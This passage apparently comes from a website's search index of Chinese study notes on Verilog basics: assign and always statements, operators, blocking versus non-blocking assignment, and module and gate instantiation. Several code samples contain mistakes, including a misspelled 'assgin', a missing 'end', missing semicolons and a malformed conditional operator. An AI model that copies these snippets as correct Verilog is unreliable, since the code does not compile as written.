\u662f\u8981\u8bf4\u660e\u7aef\u53e3\u4fe1\u53f7\u7684\u8f93\u5165\u8f93\u51fa\u5c5e\u6027\u3001\u4fe1\u53f7\u7684\u6570\u636e\u7c7b\u578b,\u4ee5\u53ca\u4fe1\u53f7\u7684\u4f4d\u5bbd;\u8f93\u5165\u8f93\u51fa\u5c5e\u6027\u6709input,output,inout\u4e09\u79cd,\u4fe1\u53f7\u7684\u6570\u636e\u7c7b\u578b\u5e38\u7528\u7684\u6709wire\u548creg\u4e24\u79cd;\u4fe1\u53f7\u7684\u4f4d\u5bbd\u7528[n1:n2]\u8868\u793a;\u540c\u4e00\u7c7b\u4fe1\u53f7\u4e4b\u95f4\u7528\u9017\u53f7\u9694\u5f00;</p> </li> <li>\u4fe1\u53f7\u4f4d\u5bbd\u4e0d\u505a\u8bf4\u660e\u7684\u8bdd\u9ed8\u8ba4\u662f1\u4f4d,\u4fe1\u53f7\u7c7b\u578b\u4e0d\u505a\u8bf4\u660e\u7684\u8bdd,\u9ed8\u8ba4\u662fwire\u7c7b\u578b\u7684</li> <li>\u53c2\u6570\u58f0\u660e \u8981\u8bf4\u660e\u53c2\u6570\u7684\u540d\u79f0\u548c\u521d\u503c(\u4f8b\u5982<code>parameter</code> reg A = 1'b1)</li> </ul> <p>Example</p> <p>\u4e8c\u9009\u4e00\u591a\u8def\u9009\u62e9\u5668\u7684Verilog\u63cf\u8ff0  <pre><code>module MUX21a(a,b,s,y);\ninput a,b,s;\noutput y;\nassign y=(s?a:b);\nendmodule\n</code></pre>  \u8fb9\u6cbfD\u89e6\u53d1\u5668\u7684Verilog\u63cf\u8ff0  <pre><code>module DFFL(CLK,D,Q);\ninput CLK,D;\noutput reg Q;\nalways @(posedge CLK) begin\n Q &lt;= D;\nendmodule    \n</code></pre>  \u56db\u4f4d\u5168\u52a0\u5668  <pre><code>module full_adder(A,B,CIN,COUT);\ninput [3:0]A,B;\ninput CIN;\noutput reg [3:0] S;\noutput COUT;\nendmodule\n</code></pre></p>"},{"location":"NOTE/CS/Verilog/verilog/#assign","title":"assign\u8bed\u53e5","text":"<p><code>assign</code>\u8bed\u53e5\u79f0\u4f5c\u8fde\u7eed\u8d4b\u503c\u8bed\u53e5,\u8d4b\u503c\u76ee\u6807\u5fc5\u987b\u662fwire\u578b\u7684,wire\u8868\u793a\u7535\u8def\u95f4\u7684\u8fde\u7ebf.</p> <p>\u57fa\u672c\u683c\u5f0f: <code>assign</code> \u8d4b\u503c\u76ee\u6807 = \u8868\u8fbe\u5f0f,\u66f4\u786c\u4ef6\u5730\u8bf4<code>assign</code>\u7684\u5de6\u8fb9\u662f\u4e00\u4e2a\u7535\u8def\u7684\u8f93\u5165,\u53e6\u5916\u4e00\u8fb9\u662f\u53e6\u4e00\u4e2a\u7535\u8def\u7684\u8f93\u51fa</p> <p>\u4f8b\u5982</p> <ul> <li>\u975e: <code>assgin y = ~a</code></li> <li>\u4e0e\u95e8: <code>assign y=a&amp;b</code></li> </ul> <p>\u7279\u70b9:\u4e4b\u6240\u4ee5\u79f0\u4e3a\u8fde\u7eed\u8d4b\u503c\u8bed\u53e5\u662f\u6307\u5176\u603b\u662f\u5904\u4e8e\u6fc0\u6d3b\u72b6\u6001,\u53ea\u8981\u8868\u8fbe\u5f0f\u4e2d\u7684\u64cd\u4f5c\u6570\u6709\u53d8\u5316,\u7acb\u5373\u8fdb\u884c\u8ba1\u7b97\u548c\u8d4b\u503c.(\u4e0e\u8fde\u7eed\u8d4b\u503c\u8bed\u53e5\u5bf9\u5e94\u7684\u53e6\u4e00\u79cd\u8bed\u53e5\u79f0\u4e3a\u8fc7\u7a0b\u8d4b\u503c\u8bed\u53e5)</p> <p>Verilog\u5177\u6709\u4e30\u5bcc\u7684\u8868\u8fbe\u5f0f\u8fd0\u7b97\u529f\u80fd\u53ef\u4ee5\u7528\u4e8eassign\u8bed\u53e5</p> \u64cd\u4f5c\u7c7b\u578b \u64cd\u4f5c\u7b26 \u6267\u884c\u7684\u64cd\u4f5c \u7b97\u672f <code>*</code> \u4e58 <code>/</code> \u9664 <code>+</code> \u52a0 <code>-</code> \u51cf <code>%</code> \u53d6\u6a21 <code>**</code> \u6c42\u5e42 \u903b\u8f91 <code>!</code> \u903b\u8f91\u6c42\u53cd <code>&amp;&amp;</code> \u903b\u8f91\u4e0e <code>|            |</code> \u903b\u8f91\u6216 \u5173\u7cfb <code>&gt;</code> \u5927\u4e8e <code>&lt;</code> \u5c0f\u4e8e <code>&gt;=</code> \u5927\u4e8e\u7b49\u4e8e <code>&lt;=</code> \u5c0f\u4e8e\u7b49\u4e8e \u7b49\u4ef7 <code>==</code> \u76f8\u7b49 <code>!=</code> \u4e0d\u7b49 <code>===</code> case \u76f8\u7b49 <code>!==</code> case \u4e0d\u7b49 \u6309\u4f4d <code>~</code> \u6309\u4f4d\u6c42\u53cd <code>&amp;</code> \u6309\u4f4d\u4e0e <code>|</code> \u6309\u4f4d\u6216 <code>^</code> \u6309\u4f4d\u5f02\u6216 <code>^~</code>\u6216<code>~^</code> \u6309\u4f4d\u540c\u6216 \u7f29\u51cf <code>&amp;</code> \u7f29\u51cf\u4e0e <code>~&amp;</code> \u7f29\u51cf\u4e0e\u975e <code>|</code> \u7f29\u51cf\u6216 <code>~         |</code> \u7f29\u51cf\u6216\u975e <code>^</code> \u7f29\u51cf\u5f02\u6216 <code>^~</code>\u6216<code>~^</code> \u7f29\u51cf\u540c\u6216 \u79fb\u4f4d <code>&gt;&gt;</code> \u53f3\u79fb <code>&lt;&lt;</code> \u5de6\u79fb <code>&gt;&gt;&gt;</code> \u7b97\u672f\u53f3\u79fb <code>&lt;&lt;&lt;</code> \u7b97\u672f\u5de6\u79fb \u62fc\u63a5 <code>{}</code> \u62fc\u63a5 \u590d\u5236 <code>{n{}}</code> \u590d\u5236 \u6761\u4ef6 <code>?:</code> \u6761\u4ef6 <p>\u9700\u8981\u6ce8\u610f\u7684\u5730\u65b9</p> <p>\u524d\u9762\u51e0\u4e2a\u6bd4\u8f83\u7b80\u5355,\u548cC\u8bed\u8a00\u57fa\u672c\u4e00\u6837</p> <p>\u7b49\u4ef7\u8fd0\u7b97\u7b26 <pre><code>Y=(1'b1==1'bx);\u7ed3\u679c\u4e3ax\nY=(1'bx==1'bx);\u7ed3\u679c\u4e3ax\nY=(1'b1===1'bx);\u7ed3\u679c\u4e3a0\nY=(1'bx===1'bx);\u7ed3\u679c\u4e3a1\n</code></pre></p> <ul> <li>\u7b49\u4e8e\u548c\u4e0d\u7b49\u4e8e\u8fd0\u7b97\u7684\u7ed3\u679c\u53ef\u80fd\u662f1(\u903b\u8f91\u771f)\u30010(\u903b\u8f91\u5047)\u3001x(\u4e0d\u786e\u5b9a);\u5bf9\u4e8ex\u6216z,\u8ba4\u4e3a\u662f\u4e0d\u786e\u5b9a\u7684\u503c,\u6bd4\u8f83\u7ed3\u679c\u4e3ax;</li> <li>case\u7b49\u548ccase\u4e0d\u7b49\u7684\u7ed3\u679c\u53ea\u80fd\u662f1\u62160,\u5bf9\u4e8ex\u3001z\u8ba4\u4e3a\u662f\u786e\u5b9a\u7684\u503c,\u53c2\u52a0\u6bd4\u8f83;</li> </ul> <p>\u6309\u4f4d\u8fd0\u7b97\u7b26</p> <ul> <li>\u6309\u4f4d\u8fd0\u7b97\u7684\u64cd\u4f5c\u6570\u662f1\u4f4d\u6216\u591a\u4f4d\u4e8c\u8fdb\u5236\u6570,</li> <li>\u6309\u4f4d\u975e\u7684\u64cd\u4f5c\u6570\u53ea\u6709\u4e00\u4e2a,\u5c06\u8be5\u6570\u7684\u6bcf\u4e00\u4f4d\u6c42\u975e\u8fd0\u7b97.</li> <li>\u5176\u5b83\u6309\u4f4d\u8fd0\u7b97\u7684\u64cd\u4f5c\u6570\u67092\u4e2a\u6216\u591a\u4e2a,\u5c06\u4e24\u4e2a\u64cd\u4f5c\u6570\u5bf9\u5e94\u7684\u4f4d\u4e24\u4e24\u8fd0\u7b97;</li> <li>\u5982\u679c\u64cd\u4f5c\u6570\u4f4d\u5bbd\u4e0d\u540c,\u4f4d\u5bbd\u5c0f\u7684\u4f1a\u81ea\u52a8\u5de6\u6dfb0\u8865\u9f50;</li> <li>\u7ed3\u679c\u4e0e\u64cd\u4f5c\u6570\u4f4d\u5bbd\u76f8\u540c;</li> </ul> <p>\u7f29\u51cf\u8fd0\u7b97\u7b26</p> <pre><code>Y=&amp;4'b1001 (\u7ed3\u679c\u4e3a0)\nY=~&amp;4'b1001 (\u7ed3\u679c\u4e3a1,\u76f8\u5f53\u4e8e~(&amp;4'b1001))\n</code></pre> <ul> <li>\u7f29\u51cf\u8fd0\u7b97\u7684\u64cd\u4f5c\u6570\u662f1\u4f4d\u6216\u591a\u4f4d\u4e8c\u8fdb\u5236\u6570;</li> <li>\u7f29\u51cf\u8fd0\u7b97\u7684\u64cd\u4f5c\u6570\u53ea\u6709\u4e00\u4e2a,\u5c06\u8be5\u6570\u7684\u5404\u4f4d\u81ea\u5de6\u81f3\u53f3\u8fdb\u884c\u903b\u8f91\u8fd0\u7b97,\u7ed3\u679c\u53ea\u6709\u4e00\u4f4d.</li> </ul> <p>\u79fb\u4f4d\u8fd0\u7b97\u7b26</p> <pre><code>Y=4'b1001&gt;&gt;1;(0100)\nY=4'sb1001&gt;&gt;1;(1100,4'sb\u6307\u7684\u662f\u6709\u7b26\u53f7)\n</code></pre> <ul> <li>\u79fb\u4f4d\u8fd0\u7b97\u7684\u64cd\u4f5c\u6570\u662f1\u4f4d\u6216\u591a\u4f4d\u4e8c\u8fdb\u5236\u6570;</li> <li>\u5411\u5de6\u6216\u5411\u53f3\u79fbn\u4f4d;</li> <li>\u53ea\u6709\u5bf9\u6709\u7b26\u53f7\u6570\u7684\u7b97\u672f\u53f3\u79fb\u81ea\u52a8\u8865\u7b26\u53f7\u4f4d;</li> <li>\u5176\u4ed6\u79fb\u4f4d\u5747\u81ea\u52a8\u88650.</li> </ul> <p>\u62fc\u63a5(\u62fc\u603b\u7ebf)</p> <p><pre><code>Y={4'b1001,2'b11}(100100)\nY={4{2'b01}}(01010101)\nY={4{2'b01},2'b11}(0101010111)\n</code></pre>  - \u5c06\u591a\u4e2a\u64cd\u4f5c\u6570\u62fc\u63a5\u8d77\u6765;  - \u5c06\u64cd\u4f5c\u6570\u590d\u5236n\u904d\u5e76\u62fc\u63a5\u8d77\u6765;  - \u53ef\u4ee5\u7ec4\u5408\u4f7f\u7528.</p> <p>\u6761\u4ef6\u8fd0\u7b97\u7b26  <code>a?:b:c</code>\u5982\u679ca\u662f1,\u5219\u8fd4\u56deb,\u5426\u5219\u8fd4\u56dec;\u53ef\u4ee5\u5d4c\u5957\u4f7f\u7528</p>"},{"location":"NOTE/CS/Verilog/verilog/#always","title":"always\u8bed\u53e5\u5757","text":"<p>Hint</p> <p>\u57fa\u672c\u683c\u5f0f <pre><code>always @(\u654f\u611f\u4fe1\u53f7\u6761\u4ef6\u8868)\n   \u5404\u7c7b\u987a\u5e8f\u8bed\u53e5\n</code></pre></p> <p>\u7279\u70b9</p> <ul> <li>always\u8bed\u53e5\u672c\u8eab\u4e0d\u662f\u5355\u4e00\u7684\u6709\u610f\u4e49\u7684\u4e00\u6761\u8bed\u53e5,\u800c\u662f\u548c\u4e0b\u9762\u7684\u8bed\u53e5\u4e00\u8d77\u6784\u6210\u4e00\u4e2a\u8bed\u53e5\u5757,\u79f0\u4e4b\u4e3a\u8fc7\u7a0b\u5757;\u8fc7\u7a0b\u5757\u4e2d\u7684\u8d4b\u503c\u8bed\u53e5\u79f0\u8fc7\u7a0b\u8d4b\u503c\u8bed\u53e5;</li> <li>\u8be5\u8bed\u53e5\u5757\u4e0d\u662f\u603b\u5904\u4e8e\u6fc0\u6d3b\u72b6\u6001,\u5f53\u6ee1\u8db3\u6fc0\u6d3b\u6761\u4ef6\u65f6\u624d\u80fd\u88ab\u6267\u884c,\u5426\u5219\u88ab\u6302\u8d77,\u6302\u8d77\u65f6\u5373\u4f7f\u64cd\u4f5c\u6570\u6709\u53d8\u5316,\u4e5f\u4e0d\u6267\u884c\u8d4b\u503c,\u8d4b\u503c\u76ee\u6807\u503c\u4fdd\u6301\u4e0d\u53d8;</li> <li>\u8d4b\u503c\u76ee\u6807\u5fc5\u987b\u662freg\u578b\u7684.</li> </ul> <p>Note</p> <p>\u6fc0\u6d3b\u6761\u4ef6\u7531\u654f\u611f\u4fe1\u53f7\u6761\u4ef6\u8868\u51b3\u5b9a,\u5f53\u654f\u611f\u6761\u4ef6\u6ee1\u8db3\u65f6,\u8fc7\u7a0b\u5757\u88ab\u6fc0\u6d3b. \u654f\u611f\u6761\u4ef6\u6709\u4e24\u79cd,\u4e00\u79cd\u662f\u8fb9\u6cbf\u654f\u611f,\u4e00\u79cd\u662f\u7535\u5e73\u654f\u611f</p> <p>\u8fb9\u6cbf\u654f\u611f</p> <ul> <li><code>posedge</code> \u4fe1\u53f7\u540d:\u4fe1\u53f7\u4e0a\u5347\u6cbf\u5230\u6765</li> <li><code>negedge</code> \u4fe1\u53f7\u540d:\u4fe1\u53f7\u4e0b\u964d\u6cbf\u5230\u6765</li> </ul> <p>\u7535\u5e73\u654f\u611f</p> <ul> <li>\u4fe1\u53f7\u540d\u5217\u8868:\u4fe1\u53f7\u5217\u8868\u4e2d\u4efb\u4e00\u4e2a\u4fe1\u53f7\u6709\u53d8\u5316(\u4f8b\u5982<code>(a,b,c)</code>\u6216<code>(a or b or c)</code>,\u5f53\u4e09\u4e2a\u4fe1\u53f7\u4e2d\u6709\u4e00\u4e2a\u53d1\u751f\u53d8\u5316) </li> </ul> <p>Example</p> <p><pre><code>always @ (posedge CLK)\nQ=D;\n</code></pre> \u5f53CLK\u4e0a\u5347\u6cbf\u5230\u6765\u65f6,\u6fc0\u6d3b\u8be5\u8bed\u53e5\u5757,\u5c06D\u7684\u503c\u8d4b\u7ed9Q; \u5426\u5219,\u8be5\u8bed\u53e5\u5757\u6302\u8d77,\u5373\u4f7fD\u6709\u53d8\u5316,Q\u7684\u503c\u4e5f\u4fdd\u6301\u4e0d\u53d8,\u76f4\u5230\u4e0b\u4e00\u6b21\u8d4b\u503c .</p> <p><pre><code>always @ (D)\nQ=D;\n</code></pre> \u5f53D\u6709\u53d8\u5316\u65f6(\u4e0d\u7ba1\u662f\u75311\u53d80\u8fd8\u662f\u75310\u53d81),\u6fc0\u6d3b\u8be5\u8bed\u53e5\u5757,\u5c06D\u7684\u503c\u8d4b\u7ed9Q; \u5426\u5219,\u8be5\u8bed\u53e5\u5757\u6302\u8d77,Q\u7684\u503c\u4fdd\u6301\u4e0d\u53d8,\u76f4\u5230\u4e0b\u4e00\u6b21\u8d4b\u503c.</p> <p>Note</p> <ul> <li>\u8fc7\u7a0b\u5757\u4e2d\u7684\u8d4b\u503c\u76ee\u6807\u5fc5\u987b\u662freg\u578b\u7684.</li> <li>\u7531\u4e8ealways\u8bed\u53e5\u53ef\u4ee5\u63cf\u8ff0\u8fb9\u6cbf\u53d8\u5316,\u5728\u8bbe\u8ba1\u65f6\u5e8f\u7535\u8def\u4e2d\u5f97\u5230\u5e7f\u6cdb\u5e94\u7528.</li> <li>always\u8bed\u53e5\u4e2d\u8fd8\u53ef\u4ee5\u4f7f\u7528if\u3001case\u3001for\u5faa\u73af\u7b49\u8bed\u53e5,\u5176\u529f\u80fd\u66f4\u52a0\u5f3a\u5927.\u4f8b\u5982 <pre><code>module DFF2 (CLK,D,Q,RST,EN)\ninput CLK,D,RST,EN;\noutput Q;\nreg Q;\nalways @(posedge CLK or negedge RST)\nbegin \n        if (!RST) Q&lt;=0;\n        else if (EN) Q&lt;=D\nend\nendmodule\n</code></pre></li> </ul> <p><code>assign</code>\u8bed\u53e5\u548c<code>always</code>\u8bed\u53e5\u7684\u533a\u522b</p> <ul> <li>\u8fde\u7eed\u8d4b\u503c\u8bed\u53e5\u603b\u662f\u5904\u4e8e\u6fc0\u6d3b\u72b6\u6001,\u53ea\u8981\u64cd\u4f5c\u6570\u6709\u53d8\u5316\u9a6c\u4e0a\u8fdb\u884c\u8ba1\u7b97\u548c\u8d4b\u503c;</li> <li>\u8fc7\u7a0b\u8d4b\u503c\u8bed\u53e5\u53ea\u6709\u5f53\u6fc0\u6d3b\u8be5\u8fc7\u7a0b\u65f6,\u624d\u4f1a\u8fdb\u884c\u8ba1\u7b97\u548c\u8d4b\u503c,\u5982\u679c\u8be5\u8fc7\u7a0b\u4e0d\u88ab\u6fc0\u6d3b,\u5373\u4f7f\u64cd\u4f5c\u6570\u53d1\u751f\u53d8\u5316\u4e5f\u4e0d\u4f1a\u8ba1\u7b97\u548c\u8d4b\u503c.</li> <li>verilog\u89c4\u5b9a<code>assign</code>\u4e2d\u7684\u8d4b\u503c\u76ee\u6807\u5fc5\u987b\u662f<code>wire</code>\u578b\u7684,\u800c<code>always</code>\u8bed\u53e5\u4e2d\u7684\u8d4b\u503c\u76ee\u6807\u5fc5\u987b\u662f<code>reg</code>\u578b\u7684.</li> <li><code>always</code>\u8bed\u53e5\u5757\u4e2d\u5982\u679c\u6709\u591a\u6761\u8d4b\u503c\u8bed\u53e5\u5fc5\u987b\u5c06\u5176\u7528<code>begin</code> <code>end</code>\u5305\u62ec\u8d77\u6765,<code>assign</code>\u8bed\u53e5\u4e2d\u6ca1\u6709<code>begin</code> <code>end</code></li> </ul> <p>Example</p> <p><pre><code>assign Q=D\n</code></pre> \u53ea\u8981D\u53d1\u751f\u53d8\u5316,\u9a6c\u4e0a\u8fdb\u884c\u8ba1\u7b97\u548c\u8d4b\u503c; Q\u5fc5\u987b\u662fwire\u578b</p> <p><pre><code>always @ (posedge clk)                     \n         Q=D;\n</code></pre> \u53ea\u6709\u5f53clk\u4e0a\u5347\u6cbf\u5230\u6765\u65f6,\u624d\u80fd\u6fc0\u6d3b\u8be5\u5757\u8bed\u53e5,\u624d\u80fd\u8fdb\u884c\u8ba1\u7b97\u548c\u8d4b\u503c;\u5426\u5219,\u5373\u4f7fD\u53d1\u751f\u53d8\u5316\u4e5f\u4e0d\u4f1a\u8ba1\u7b97\u548c\u8d4b\u503c.\u5728\u672a\u88ab\u6fc0\u6d3b\u65f6,Q\u7684\u503c\u4fdd\u6301\u4e0d\u53d8. Q\u5fc5\u987b\u662freg\u578b.</p> <p>\u963b\u585e\u8d4b\u503c\u548c\u975e\u963b\u585e\u8d4b\u503c</p> <p><code>begin</code> <code>end</code>\u4e4b\u95f4\u7684\u8d4b\u503c\u8bed\u53e5\u6709\u963b\u585e\u8d4b\u503c\u548c\u975e\u963b\u585e\u8d4b\u503c\u4e4b\u5206</p> <ul> <li> <p>\u963b\u585e\u8d4b\u503c<code>=</code>:\u8bed\u53e5\u987a\u5e8f\u6267\u884c,\u524d\u9762\u7684\u6267\u884c\u5b8c\u624d\u80fd\u6267\u884c\u540e\u9762\u7684\u8bed\u53e5;     <pre><code>   a=1'b1;\n   b=1'b1;\n</code></pre>     \u5bf9a\u8d4b\u503c\u4f1a\u963b\u585e\u8d4b\u503cb,\u5373\u53ea\u6709\u5f53\u8d4b\u503ca\u6267\u884c\u5b8c\u624d\u80fd\u6267\u884c\u8d4b\u503cb.</p> </li> <li> <p>\u975e\u963b\u585e\u8d4b\u503c<code>&lt;=</code>:\u6240\u6709\u8bed\u53e5\u5e76\u884c\u6267\u884c      <pre><code>  a&lt;=1'b1;\n  b&lt;=1'b1;\n</code></pre>     \u5bf9a\u8d4b\u503c\u4e0d\u4f1a\u963b\u585e\u8d4b\u503cb,\u4e24\u4e2a\u8bed\u53e5\u5e76\u884c\u6267\u884c</p> </li> </ul> <p>Example</p> <p><pre><code>begin\n  m=a*b;\n  y=m;\nend   \n</code></pre> \u5f53m\u8d4b\u503c\u5b8c\u6210\u540e,\u624d\u80fd\u6267\u884cy\u7684\u8d4b\u503c,y\u5f97\u5230\u7684\u662fm\u7684\u65b0\u503c.</p> <p><pre><code>begin\n  m&lt;=a*b;\n  y&lt;=m;\nend   \n</code></pre> m\u548cy\u7684\u8d4b\u503c\u5e76\u884c\u6267\u884c,y\u5f97\u5230\u7684\u662fm\u7684\u65e7\u503c.</p> <p>\u8bbeA\u3001B\u540c\u65f6\u75310\u53d81 <pre><code>always @ (A,B)\nbegin\n    M1=A;\n    M2=B&amp;M1;\n    Q=M1|M2;\nend\n</code></pre> \u6fc0\u6d3b\u524d\uff1aM1=0,M2=0,Q=0</p> <p>\u6fc0\u6d3b\u540e\uff1a\u5148\u8ba1\u7b97A=1,\u9a6c\u4e0a\u8d4b\u503c\u7ed9M1 \u518d\u8ba1\u7b97B&amp;M1=1,\u9a6c\u4e0a\u8d4b\u503c\u7ed9M2 \u518d\u8ba1\u7b97M1|M2=1,\u9a6c\u4e0a\u8d4b\u503c\u7ed9Q</p> <pre><code>always @ (A,B)\nbegin\n    M1&lt;=A;\n    M2&lt;=B&amp;M1;\n    Q &lt;=M1|M2;\nend\n</code></pre> <p>\u5148\u8ba1\u7b97A=1,(\u7b49\u5f85,\u4e0d\u8d4b\u503c)</p> <p>\u518d\u8ba1\u7b97B&amp;M1=0,(\u7b49\u5f85,\u4e0d\u8d4b\u503c)</p> <p>\u518d\u8ba1\u7b97M1|M2=0,(\u7b49\u5f85,\u4e0d\u8d4b\u503c)</p> <p>\u8fc7\u7a0b\u7ed3\u675f</p> <p>\u5148\u8d4b\u503c\u7ed9M1=1</p> <p>\u518d\u8d4b\u503c\u7ed9M2=0</p> <p>\u518d\u8d4b\u503c\u7ed9Q=0</p> <p>\u603b\u7ed3 :</p> <ul> <li> <p>\u963b\u585e\u8d4b\u503c\u7684\u5b9e\u8d28:\u53f3\u8fb9\u8868\u8fbe\u5f0f\u7684\u8ba1\u7b97\u548c\u5bf9\u5de6\u8fb9\u5bc4\u5b58\u5668\u53d8\u91cf\u7684\u8d4b\u503c\u662f\u4e00\u4e2a\u7edf\u4e00\u7684\u539f\u5b50\u64cd\u4f5c\u4e2d\u7684\u4e24\u4e2a\u52a8\u4f5c,\u8fd9\u4e24\u4e2a\u52a8\u4f5c\u4e4b\u95f4\u4e0d\u80fd\u518d\u63d2\u5165\u5176\u4ed6\u4efb\u4f55\u52a8\u4f5c.</p> </li> <li> <p>\u975e\u963b\u585e\u8d4b\u503c\u7684\u5b9e\u8d28:\u9996\u5148\u6309\u987a\u5e8f\u8ba1\u7b97\u53f3\u8fb9\u8868\u8fbe\u5f0f\u7684\u503c,\u4f46\u662f\u5e76\u4e0d\u9a6c\u4e0a\u8d4b\u503c,\u800c\u662f\u8981\u7b49\u5230\u8fc7\u7a0b\u7ed3\u675f\u65f6\u518d\u6309\u987a\u5e8f\u8d4b\u503c.</p> </li> </ul> <p>Note</p> <ul> <li>\u8bbe\u8ba1\u7ec4\u5408\u7535\u8def\u65f6\u5e38\u7528\u963b\u585e\u8d4b\u503c;</li> <li>\u8bbe\u8ba1\u65f6\u5e8f\u7535\u8def\u65f6\u5e38\u7528\u975e\u963b\u585e\u8d4b\u503c;\u4f46\u4e0d\u662f\u7edd\u5bf9\u7684.</li> <li>\u4e0d\u5efa\u8bae\u5728\u4e00\u4e2aalways\u5757\u4e2d\u6df7\u5408\u4f7f\u7528\u963b\u585e\u8d4b\u503c\u548c\u975e\u963b\u585e\u8d4b\u503c</li> </ul> Example <p>\u963b\u585e\u8d4b\u503c\u5b9e\u73b0\u7684\u7ec4\u5408\u7535\u8def  <pre><code>module MY (A,B,C,Y)\ninput A,B,C;\noutput Y;\nreg Y;\nreg M;\nalways @ (A,B,C)\nbegin\n    M=B|C;\n    Y=A&amp;M;      \nend\nendmodule\n</code></pre> (\u5176\u5b9e\u4e5f\u53ef\u4ee5\u76f4\u63a5<code>assign</code>\u7684)</p> <p>\u975e\u963b\u585e\u8d4b\u503c\u5b9e\u73b0\u7684\u79fb\u4f4d\u5bc4\u5b58\u5668 <pre><code>module DDF3(CLK,D,Q)\noutput Q;\ninput  CLK,D;\nreg a,b,Q;\nalways @ (posedge CLK)\nbegin\n  a&lt;=D;\n  b&lt;=a;\n  Q&lt;=b;\nend\n</code></pre>   \u8fd9\u4e2a\u79fb\u4f4d\u5bc4\u5b58\u5668\u662f\u6bcf\u5f53\u4e0a\u5347\u6cbf\u5230\u6765,\u540c\u65f6\u6574\u4f53\u79fb\u52a8\u7684,\u800c\u4e0d\u662fa\u5148\u53d8\u5316,b\u518d\u53d8\u5316\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7</p> <p>\u628a<code>assign</code>\u548c<code>always</code>\u7ed3\u5408\u8d77\u6765,\u4e3e\u4e00\u4e2a4\u4f4d\u4e8c\u8fdb\u5236\u52a0\u6cd5\u8ba1\u6570\u5668\u7684\u4f8b\u5b50 <pre><code>  module CNT4 (CLK,Q);\n  input CLK;\n  output [3:0] Q;\n\n  reg [3:0] Q1;\n\n  always @ (posedge CLK)\n  begin\n    Q1&lt;=Q1+1;\n  end\n\n  assign Q=Q1;\n\n  endmodule\n</code></pre> \u6b64\u7a0b\u5e8f\u4e2d\u6709<code>always</code>\u548c<code>assign</code>\u4e24\u6761\u8bed\u53e5,\u4ed6\u4eec\u4e4b\u95f4\u662f\u5e76\u884c\u7684;\u6709\u4e00\u4e2a\u5185\u90e8\u53d8\u91cfQ1,\u4f7f\u7528\u65f6\u8981\u8fdb\u884c\u58f0\u660e;</p>"},{"location":"NOTE/CS/Verilog/verilog/#_1","title":"\u5e95\u5c42\u6a21\u5757\u8c03\u7528","text":"<p>\u7c7b\u4f3c\u4e8eC\u8bed\u8a00\u91cc\u9762\u7684\u51fd\u6570\u8c03\u7528,Verilog\u4e2d\u4e5f\u6709\u6a21\u5757\u7684\u8c03\u7528,\u8c03\u7528\u7684\u683c\u5f0f\u4e3a:\u5e95\u5c42\u6a21\u5757\u540d \u4f8b\u5316\u540d (\u7aef\u53e3\u6620\u5c04);</p> Example <p>\u5b9e\u73b0\u5982\u4e0b\u7535\u8def</p> <p></p> <p>\u5148\u5b9a\u4e49\u597dD\u89e6\u53d1\u5668,\u7136\u540e\u518d\u8bbe\u8ba1\u9876\u5c42\u7535\u8def,\u5728\u9876\u5c42\u7535\u8def\u4e2d\u53ef\u8c03\u7528\u5e95\u5c42\u6a21\u5757. <pre><code>module DFF(CLK,D,Q)\noutput reg Q;\ninput CLK,D;\nalways @ (posedge CLK)\n    Q&lt;=D;\nendmodule\n</code></pre> \u7136\u540e,\u5728\u9876\u5c42\u6a21\u5757\u4e2d\u8c03\u7528 <pre><code>module examp (clk,d,a,q)\noutput  q;\ninput clk,d,a;\nwire d1;\nwire q1;\nDFF dff1(.CLK(clk),.D(d1),.Q(q1));\nDFF dff2(q1,d,q);\nor (d1,a,q);\nendmodule\n</code></pre> \u4e3a\u4e86\u8c03\u7528\u5e95\u5c42\u6a21\u5757,\u9700\u8981\u52a0\u4e24\u4e2a\u5185\u90e8\u53d8\u91cfd1\u548cq1,\u5e76\u7ed9\u4e24\u6b21\u8c03\u7528\u7684\u6a21\u5757\u8fdb\u884c\u547d\u540d,\u8c03\u7528\u65f6\u4f8b\u5316\u540d\u4e0d\u80fd\u7701\u7565.</p> <p>\u7aef\u53e3\u6620\u5c04</p> <ul> <li> <p>\u7aef\u53e3\u540d\u5173\u8054\u6cd5(\u547d\u540d\u6cd5),\u5c06\u6a21\u5757\u7684\u7aef\u53e3\u548c\u8c03\u7528\u6a21\u5757\u7684\u73af\u5883\u4e2d\u7684\u53d8\u91cf\u5bf9\u5e94\u8d77\u6765, \u5373(.\u5e95\u5c42\u7aef\u53e3\u540d1(\u5916\u63a5\u4fe1\u53f7\u540d1),.\u5e95\u5c42\u7aef\u53e3\u540d2(\u5916\u63a5\u4fe1\u53f7\u540d2),\u2026) <code>DFF dff1(.CLK(clk),.D(d1),.Q(q1));</code>,\u8fd9\u6837\u7684\u65b9\u6cd5\u56e0\u4e3a\u6709\u540d\u5b57\u5bf9\u5e94,\u4e0d\u5fc5\u6309\u7167\u6a21\u5757\u7684\u7aef\u53e3\u5217\u8868\u6392\u5e8f.</p> </li> <li> <p>\u4f4d\u7f6e\u5173\u8054\u6cd5(\u987a\u5e8f\u6cd5):\u5c06\u6a21\u5757\u7684\u7aef\u53e3\u4ee5\u53ca\u8981\u63a5\u7684\u5916\u90e8\u4fe1\u53f7\u6309\u7167\u6a21\u5757\u5b9a\u4e49\u7684\u987a\u5e8f\u4e00\u4e00\u5bf9\u5e94\u8d77\u6765(\u5916\u63a5\u4fe1\u53f7\u540d1,\u5916\u63a5\u4fe1\u53f7\u540d2,\u2026)   <code>DFF dff2(q1,d,q);</code>,\u8fd9\u6837\u7684\u65b9\u6cd5\u5fc5\u987b\u4e25\u683c\u6309\u7167\u5e95\u5c42\u6a21\u5757\u7684\u7aef\u53e3\u4fe1\u53f7\u5217\u8868\u987a\u5e8f\u4e66\u5199</p> </li> </ul>"},{"location":"NOTE/CS/Verilog/verilog/#_2","title":"\u95e8\u539f\u8bed\u8c03\u7528","text":"<p>Verilog \u8bed\u8a00\u8bed\u8a00\u63d0\u4f9b\u5df2\u7ecf\u8bbe\u8ba1\u597d\u7684\u95e8,\u79f0\u4e3a\u95e8\u539f\u8bed(primitive,\u517112\u4e2a),\u8fd9\u4e9b\u95e8\u53ef\u76f4\u63a5\u8c03\u7528,\u4e0d\u7528\u518d\u5bf9\u5176\u8fdb\u884c\u529f\u80fd\u63cf\u8ff0.</p> <p>\u95e8\u539f\u8bed\u8c03\u7528\u683c\u5f0f\uff1a \u95e8\u539f\u8bed\u540d    \u5b9e\u4f8b\u540d  (\u7aef\u53e3\u8fde\u63a5)</p> <p>Note</p> 